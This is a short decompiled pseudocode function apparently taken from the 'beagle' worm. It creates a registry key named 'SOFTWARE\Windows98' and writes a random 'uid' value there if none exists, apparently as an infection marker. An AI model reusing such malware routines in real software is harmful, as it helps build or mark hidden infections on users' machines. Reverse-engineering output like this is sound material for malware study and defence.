Private Function beagle.usub_4015a5.txt
RegCreateKeyA(2147483649,"SOFTWARE\\Windows98",4216559)
If (RegQueryValueExA(4216525,"uid",0,#STACKTUPLE-4108,4216525,0) != 0)
LLocal1 = 4216525
LLocal2 = 9
(TOKEN_WHILE 4015F1)
(OFFSET-CONTAINER 1 LLocal1) = (usub_4012aa(9) + 49)
LLocal1 = (LLocal1 + 1)
LLocal2 = (LLocal2 - 1)
Loop While (LLocal2 != 0)
RegSetValueExA(4216525,"uid",0,1,4216525,8)
End If
Return RegCloseKey(4216525)
End Sub